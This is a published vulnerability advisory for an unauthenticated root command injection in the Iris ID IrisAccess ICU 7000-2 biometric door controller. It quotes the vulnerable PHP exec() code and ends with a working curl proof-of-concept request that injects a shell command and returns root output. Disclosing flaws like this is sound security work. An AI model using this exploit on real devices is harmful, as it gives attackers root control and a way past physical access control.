Iris ID IrisAccess ICU 7000-2 Remote Root Command Execution

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Iris ID IrisAccess ICU 7000-2 Remote Root Command Execution  
  
  
Vendor: Iris ID, Inc.  
Product web page: http://www.irisid.com  
http://www.irisid.com/productssolutions/hardwareproducts/icu-7000-2/  
  
Affected version: ICU Software: 1.00.08  
ICU OS: 1.3.8  
ICU File system: 1.3.8  
EIF Firmware [Channel 1]: 1.9  
EIF Firmware [Channel 2]: 1.9  
Iris TwoPi: 1.4.5  
  
Summary: The ICU 7000-2 is an optional component used when the client requires  
iris template data to be matched on the secure side of the door. When using ICU  
no data is stored in the iCAM7 Iris Reader itself. The ICU also ensures that portal  
operation can continue if the there is an interruption in communication with the  
host computer. In such circumstances, the ICU retains the records of portal activity,  
then automatically updates the host upon resumption of host communication. Every  
ICU in the iCAM4000 / 7 series runs on a LINUX OS for added reliability. Independent  
and fault tolerant, ICUs are connected up to 2 iCAMs and handle up to 100,000 users.  
  
Desc: The Iris ID IrisAccess ICU 7000-2 device suffers from an unauthenticated remote  
command execution vulnerability. The vulnerability exist due to several POST parameters  
in the '/html/SetSmarcardSettings.php' script not being sanitized when using the exec()  
PHP function while updating the Smart Card Settings on the affected device. Calling the  
'$CommandForExe' variable which is set to call the '/cgi-bin/setsmartcard' CGI binary  
with the affected parameters as arguments allows the attacker to execute arbitrary system  
commands as the root user and bypass the biometric access control in place.  
  
=====================================================================================  
  
/html/SetSmarCardSettings.php:  
------------------------------  
  
53: <?php  
54: $ChNo = $_POST['HidChannelID'];  
55: if(0 == $ChNo )  
56: echo "1";  
57: else  
58: echo $ChNo;  
59: ?>  
61: <?php  
62: echo "<input type = \"hidden\" name=\"HidChannelID\" value=\"$ChNo\">";   
63: echo "<input type=\"hidden\" name=\"ssid\" value=\"1234\">"  
64: ?>  
81: <td class="menuMain">Smart Card Settings</td>  
88: <!-- Content: BOF -->  
97: <?php  
99: $FileAvaToUpload = $_POST['HidIsFileSelect'];  
100: //echo "<br>File availabe is: ";  
101: //echo $FileAvaToUpload;  
102: //echo "<br>";  
104: $BookVal = $_POST['cmbBook'];  
105: //echo "<br>BookVal is ";  
106: //echo $BookVal;  
108: //echo "<br>Channel value is ";  
109: //echo $ChNo;  
111: $OffSet = $_POST['txtOffSet'];  
112: //echo "<br>Offset is ";  
113: //echo $OffSet;  
115: $DataFormat = $_POST['DataFormat'];  
117: //echo "<br>DataFormat is ";  
118: //echo $DataFormat;  
120: $EncryptAlg = $_POST['EncryAlg'];  
122: if(0 == $DataFormat )  
123: $EncryptAlg = 4;  
125: //echo "<br>Encryption Algarithm is ";  
126: //echo $EncryptAlg;  
128: $UseAsProxyCard = $_POST['chkUseAsProxCard'];  
129: if( "" == $UseAsProxyCard )  
130: $UseAsProxyCard = "0";  
132: //echo "<br>Use as ProxyCard is ";  
133: //echo $UseAsProxyCard;  
135: $target_dir = "/tmp/temp_SmartCardKey";  
137: //$target_dir = $target_dir . basename( $_FILES["file1"]["name"]);  
139: if(1 == $FileAvaToUpload ) {  
140: if (move_uploaded_file($_FILES["file1"]["tmp_name"], $target_dir)) {  
141: //echo "The file ". basename( $_FILES["file1"]["name"]). " has been uploaded.";  
142: } else {  
143: //echo "Sorry, there was an error uploading your file.";  
144: }  
145: }  
147: $out = null;  
148: $rc= 0;  
149: $CommandForExe = "../cgi-bin/setsmartcard $ChNo $BookVal $OffSet $DataFormat $EncryptAlg $UseAsProxyCard $FileAvaToUpload";  
150: //$CommandForExe = "../cgi-bin/setsmartcard 1 0 10 1 1 0";  
151: echo exec($CommandForExe, $out, $rc);  
153: //print_r( $out);  
154: //echo 'rc = '.$rc."\n";   
156: //echo "After calling binary";  
158: //echo "Return value is: ";  
159: //echo $rc;  
160: //echo $out;  
162: $sICUVersion = $_POST['HidVerForPHP'];  
163: ?>  
  
=====================================================================================  
  
Vulnerable parameters: DataFormat  
EncryAlg  
HidChannelID  
HidIsFileSelect  
cmbBook  
txtOffSet  
  
  
Tested on: GNU/Linux 3.0.51 (armv7l)  
mylighttpd v1.0  
PHP/5.5.13  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2016-5346  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5346.php  
  
  
06.05.2016  
  
--  
  
  
Request (cmbBook=0|id #):  
-------------------------  
  
[lqwrm@lalaland /]# curl -i -s -k -X 'POST' \  
-H 'User-Agent: joxypoxy/7.2.6' -H 'Content-Type: application/x-www-form-urlencoded' \  
--data-binary $'HidChannelID=2&HidcmbBook=0&cmbBook=0|id+%23&HidDisOffSet=13&txtOffSet=37&HidDataFormat=1&HidDataFormatVal=1&DataFormat=1&HidFileAvailable=0&HidEncryAlg=0&EncryAlg=0&HidFileType=0&HidIsFileSelect=0&HidUseAsProxCard=0&HidVerForPHP=1.00.08\x0d\x0a' \  
'http://[TARGET]/html/SetSmarcardSettings.php'  
  
  
Response:  
---------  
  
HTTP/1.1 200 OK  
X-Powered-By: PHP/5.5.13  
Content-type: text/html  
Connection: close  
Date: Thu, 09 May 2016 14:40:39 GMT  
Server: mylighttpd v1.0  
Content-Length: 11660  
  
...  
</tr>  
uid=0(root) gid=0(root) <tr>  
<td colspan="2">  
...  
  
`